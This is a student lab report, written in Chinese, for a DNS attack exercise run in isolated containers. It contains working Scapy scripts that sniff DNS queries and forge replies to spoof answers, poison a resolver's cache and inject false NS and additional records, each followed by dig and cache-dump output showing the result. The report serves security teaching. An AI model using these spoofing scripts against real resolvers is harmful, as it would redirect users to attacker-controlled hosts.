Local DNS Attack Lab

57118211 谢瑞

Task 0:Testing the DNS Setup

在 User docker1(10.9.0.5) 上首先运行命令 dig ns.attacker32.com，答案来自攻击者命名服务器上设置的区域文件：

```
root@b9ed5938def5:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21023
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7437058ebaadb81b0100000060f963b9d5de4bd33a4f469b (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 24 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 12:25:29 UTC 2021
;; MSG SIZE  rcvd: 90
```

运行命令 dig www.example.com ，得到正常结果：

```
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6744
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c0318981e94997ee0100000060f966935d0c61342f2fc58f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2597 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 12:37:39 UTC 2021
;; MSG SIZE  rcvd: 88
```

运行命令 dig @ns.attacker32.com www.example.com ，从攻击者那里得到虚假结果：

```
root@b9ed5938def5:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30386
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ed196a81b999c6870100000060f96735495eacac74d82df9 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Jul 22 12:40:21 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 1: Directly Spoofing Response to User

选择 10.9.0.1 对应的网卡号：

```
[07/22/21]seed@VM:~/.../Labsetup$ ifconfig | grep br
br-35d907bd4cde: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
br-dd41f711a22b: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.8.0.1  netmask 255.255.255.0  broadcast 10.8.0.255
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
```

编写如下 DNS 嗅探和欺骗程序，在攻击者主机上运行，当收到对 example.com 的解析请求时，返回 DNS 答复报文：

Open 1.py ~/Desktop/Labs_20.04/Network Security/Local DNS Attack Lab/Labsetup/volumes Save

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53)  # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='1.2.3.5')  # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,ancount=1, an=Anssec)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)

myFilter = "udp and (src host 10.9.0.5 and dst port 53)"  # Set the filter
pkt=sniff(iface='br-35d907bd4cde', filter=myFilter, prn=spoof_dns)
```

在本地 DNS 服务器上清空缓存后，在 host 上 dig www.example.com，可以看到攻击成功：

```
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51447
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 112 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:08:56 UTC 2021
;; MSG SIZE  rcvd: 64
```

但是当本地的 DNS 服务器有了缓存后，第二次请求欺骗包来的就比合法包更慢：

```
root@VM:/volumes# python3 1.py
 10.9.0.5 --> 10.9.0.53: 51447
.
Sent 1 packets.
 10.9.0.5 --> 10.9.0.53: 3140
.
Sent 1 packets.
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3140
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 33fd8d9b7a95e7cb0100000060f97c61155e05a137518a53 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86298   IN      A       93.184.216.34

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:10:41 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 2：DNS Cache Poisoning Attack - Spoofing

Answers

对 Task1 的程序进行修改，因为本地 DNS 服务器在收到未知的 DNS 请求时，需要由 33333 端口向外发送 DNS 请求报文进行查询，所以对相应的源宿端口进行修改，当收到 example.com 的 DNS 解析请求时，攻击者发送一个伪造答复报文将 IP 地址解析为 11.22.33.44：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Create an IP object
                udp = UDP(sport=pkt[UDP].dport, dport=33333)  # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='11.22.33.44')  # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1, an=Anssec)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)

myFilter = "udp and src port 33333"  # Set the filter
pkt=sniff(iface='br-35d907bd4cde', filter=myFilter, prn=spoof_dns)
```

在运行攻击程序之前，在 User 容器运行 dig www.example.com 命令，然后在本地 DNS 服务器运行 rndc dumpdb -cache ， cat /var/cache/bind/dump.db | grep www.example.com ，此时可以查看 DNS 缓存正常：

```
root@20f243b816b9:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.      _   690755  A       93.184.216.34
```

先刷新本地 DNS 服务器缓存，即运行 rndc flush ，然后运行攻击程序后，进行 dig www.example.com 命令，可以看到 User 被欺骗：

```
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19571
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1369922f371ec91c0100000060f97f9cf118e08277e2491a (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       11.22.33.44

;; Query time: 716 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:24:28 UTC 2021
;; MSG SIZE  rcvd: 88
```

此时在本地 DNS 服务器运行 rndc dumpdb -cache ， cat /var/cache/bind/dump.db | grep www.example.com ，可以看到缓存中毒攻击成功：

```
root@20f243b816b9:/# rndc dumpdb -cache
root@20f243b816b9:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.        863915  A       11.22.33.44
```

Task 3：Spoofing NS Records

将代码进行如下修改，将域 example.com 的权威域名服务器改为 ns.attacker32.com：

Open 3.py ~/Desktop/Labs_20.04/Network Security/Local DNS Attack Lab/Labsetup/volumes Save

1.py 2.py 3.py

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Create an IP object
                udp = UDP(sport=pkt[UDP].dport, dport=33333)  # Create a UPD object
                NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='11.22.33.44')  # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, an=Anssec, nscount=1, ns=NSsec)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)

myFilter = "udp and src port 33333"  # Set the filter
pkt=sniff(iface='br-35d907bd4cde', filter=myFilter, prn=spoof_dns)
```

运行攻击程序后，在 User 容器运行 dig www.example.com ， dig seu.example.com ， dig mail.example.com ，可以看到均被欺骗：

```
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45508
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 206990cc9e5f26590100000060f98213e85598c1cf8ce7c9 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 972 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:34:59 UTC 2021
;; MSG SIZE  rcvd: 88
root@b9ed5938def5:/# dig seu.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38416
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6aa4ad314383fcbd0100000060f9821aa6ca349bb53cafb1 (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       1.2.3.6

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:35:06 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@b9ed5938def5:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49528
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9eb7e0fb0b9b7bd90100000060f98223c82ea4220a17a000 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:35:15 UTC 2021
;; MSG SIZE  rcvd: 89
```

在本地 DNS 服务器上查看缓存，可以看到欺骗 NS 记录：

```
root@20f243b816b9:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            863821  NS      ns.attacker32.com.
_.example.com.          863821  A       11.22.33.44
mail.example.com.       863837  A       1.2.3.6
seu.example.com.        863828  A       1.2.3.6
www.example.com.        863821  A       1.2.3.5
```

在恶意 DNS 路由器上 /etc/bind/zone_example.com 的文件中，可以看到不同的子域名对应不同的 IP：

```
@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6
```

Task 4：Spoofing NS Records for Another Domain

修改代码如下图所示，在权威域名服务器内容中加入对 google.com 的权威域服务器部分：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Create an IP object
                udp = UDP(sport=pkt[UDP].dport, dport=33333)  # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='11.22.33.44')  # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1, an=Anssec, nscount=2, ns=NSsec1/NSsec2)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src port 33333"  # Set the filter
pkt=sniff(iface='br-35d907bd4cde', filter=myFilter, prn=spoof_dns)
```

请求 example.com 如前一个 task 所示，下图为 dig www.google.com 和 dig seu.google.com 的情况，观察到在请求 seu.google.com 时，没有得到返回的 IP 地址：

```
root@b9ed5938def5:/# dig seu.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 9606
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4543b996b6166c6d0100000060f985220806f07249e08c72 (good)
;; QUESTION SECTION:
;seu.google.com.                        IN      A

;; AUTHORITY SECTION:
google.com.             60      IN      SOA     ns1.google.com. dns-admin.google.com. 385971520 900 900 1800 60

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:48:02 UTC 2021
;; MSG SIZE  rcvd: 121
```

查看 DNS 服务器缓存，发现没有 google.com 的权威域名服务器，因为若成功则可以使未知权威域名服务器掌管任意域，不安全，所以该部分被丢弃：

```
root@20f243b816b9:/# cat /var/cache/bind/dump.db | grep google.com
root@20f243b816b9:/#
```

Task 5: Spoofing Records in the Additional Section

将程序进行如下修改：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Create an IP object
                udp = UDP(sport=pkt[UDP].dport, dport=33333)  # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='11.22.33.44')  # Create an aswer record
                Addsec1 = DNSRR(rrname='ns.attatcker32.com', type='A', ttl=259200, rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200, rdata='5.6.7.8')
                Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src port 33333"  # Set the filter
pkt=sniff(iface='br-35d907bd4cde', filter=myFilter, prn=spoof_dns)
```

操作如上，得到的响应如下图所示：

```
root@b9ed5938def5:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54955
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a3e23dd1bdf8a3f20100000060f9883fb5741e057047f24b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 731 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 15:01:19 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@b9ed5938def5:/# dig seu.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64473
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1c6d0c37e7490faa0100000060f98846ecb4bc801106fb7b (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       11.22.33.44

;; Query time: 59 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 15:01:26 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@b9ed5938def5:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11182
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2faeec59c8e62b020100000060f9884b33218f8fcdd48507 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 15:01:31 UTC 2021
```

```
root@20f243b816b9:/# cat /var/cache/bind/dump.db | grep .com
ns.attacker32.com.      615555  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 20081
11001 28800 7200 2419200 86400
example.com.            863955  NS      ns.attacker32.com.
_.example.com.          863955  A       11.22.33.44
mail.example.com.       863967  A       1.2.3.6
ns.example.com.         863955  A       11.22.33.44
seu.example.com.        863962  A       11.22.33.44
www.example.com.        863955  A       1.2.3.5
_.facebook.com.         604856  A       154.83.15.20
www.facebook.com.       604932  A       69.171.232.21
; ns.attacker32.com [v4 TTL 1755] [v6 TTL 10755] [v4 success] [v6 nx
rrset]
; ns.example.com [v4 TTL 1755] [v4 success] [v6 unexpected]
; Dump complete
```

```
root@b9ed5938def5:/# dig www.facebook.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48511
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 000c423036d326440100000060f98858b4a301f953ff2f05 (good)
;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       152     IN      A       69.171.232.21

;; Query time: 71 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 15:01:44 UTC 2021
;; MSG SIZE  rcvd: 89
```